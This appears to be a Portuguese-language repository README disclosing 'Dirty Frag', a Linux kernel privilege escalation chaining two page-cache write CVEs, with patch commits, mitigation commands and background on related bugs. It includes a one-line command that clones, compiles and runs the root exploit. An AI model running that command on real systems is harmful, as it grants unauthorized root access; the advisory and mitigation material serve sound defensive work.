
Exploit de escalada de privilégios do kernel Linux que encadeia duas vulnerabilidades de escrita no cache de páginas (CVE-2026-43284, CVE-2026-43500) para acesso root determinístico nas principais distribuições.
Este documento explica a classe de vulnerabilidade Dirty Frag, descoberta e reportada por Hyunwoo Kim (@v4bel). Ao encadear xfrm-ESP Page-Cache Write (CVE-2026-43284) com RxRPC Page-Cache Write (CVE-2026-43500), um atacante pode escalar para root nas principais distribuições Linux.
Dirty Frag estende a mesma família de bugs que Dirty Pipe e Copy Fail. É um bug lógico determinístico que não depende de janelas de tempo ou condições de corrida, não causa pânico no kernel em falha e tem uma taxa de sucesso muito alta quando explorado.
Para detalhes técnicos completos e a linha do tempo de divulgação, veja o artigo técnico acompanhante (não incluído neste repositório).
xfrm-ESP Page-Cache Write (CVE-2026-43284) foi corrigida na mainline no commit f4c50a4034e6.RxRPC Page-Cache Write (CVE-2026-43500) foi corrigida na mainline no commit aa54b1d27fe0.[!NOTE] Quando este documento foi lançado pela primeira vez (2026-05-07), o embargo já havia sido quebrado externamente. Naquela época, nenhum patch público ou CVE estava disponível. Após discussões com mantenedores em [email protected], a divulgação do Dirty Frag foi publicada. Veja o artigo técnico para a linha do tempo.
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Este PoC é compartilhado para fins informativos após coordenação com linux-distros. Não o execute em sistemas que você não está autorizado a testar.
⚠️ Importante: Executar o exploit polui o cache de páginas. Para restaurar um estado limpo, execute:
echo 3 > /proc/sys/vm/drop_caches
ou reinicie a máquina.
Efetivamente, essas vulnerabilidades abrangem aproximadamente nove anos.
As versões testadas das distribuições incluem:
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
xfrm-ESP Page-Cache Write oferece uma primitiva forte de STORE arbitrário de 4 bytes semelhante ao Copy Fail e está disponível em muitas distribuições, mas requer privilégio para criar um namespace.
Ubuntu pode restringir a criação de namespace de usuário não privilegiado via AppArmor, impedindo que xfrm-ESP seja acionado. RxRPC Page-Cache Write não requer privilégios de criação de namespace, mas o módulo rxrpc.ko não está presente por padrão em muitas distribuições. No Ubuntu, no entanto, rxrpc.ko é tipicamente carregado.
Encadear ambos cobre as lacunas um do outro, permitindo root em todas as principais distribuições. Veja o artigo técnico para detalhes.
Sim — Dirty Frag está relacionado ao "Dirty Pipe", e o nome reflete que a classe de bug altera o membro frag de struct sk_buff.
Copy Fail inspirou esta pesquisa. xfrm-ESP Page-Cache Write na cadeia Dirty Frag compartilha o mesmo sink que Copy Fail, mas ele é acionado mesmo quando a mitigação algif_aead está presente. Assim, sistemas endurecidos contra Copy Fail ainda podem ser vulneráveis ao Dirty Frag.
Siga os passos na seção de Mitigação acima.
Mantenedor: https://linkedin.com/in/tahamuhammadshafiq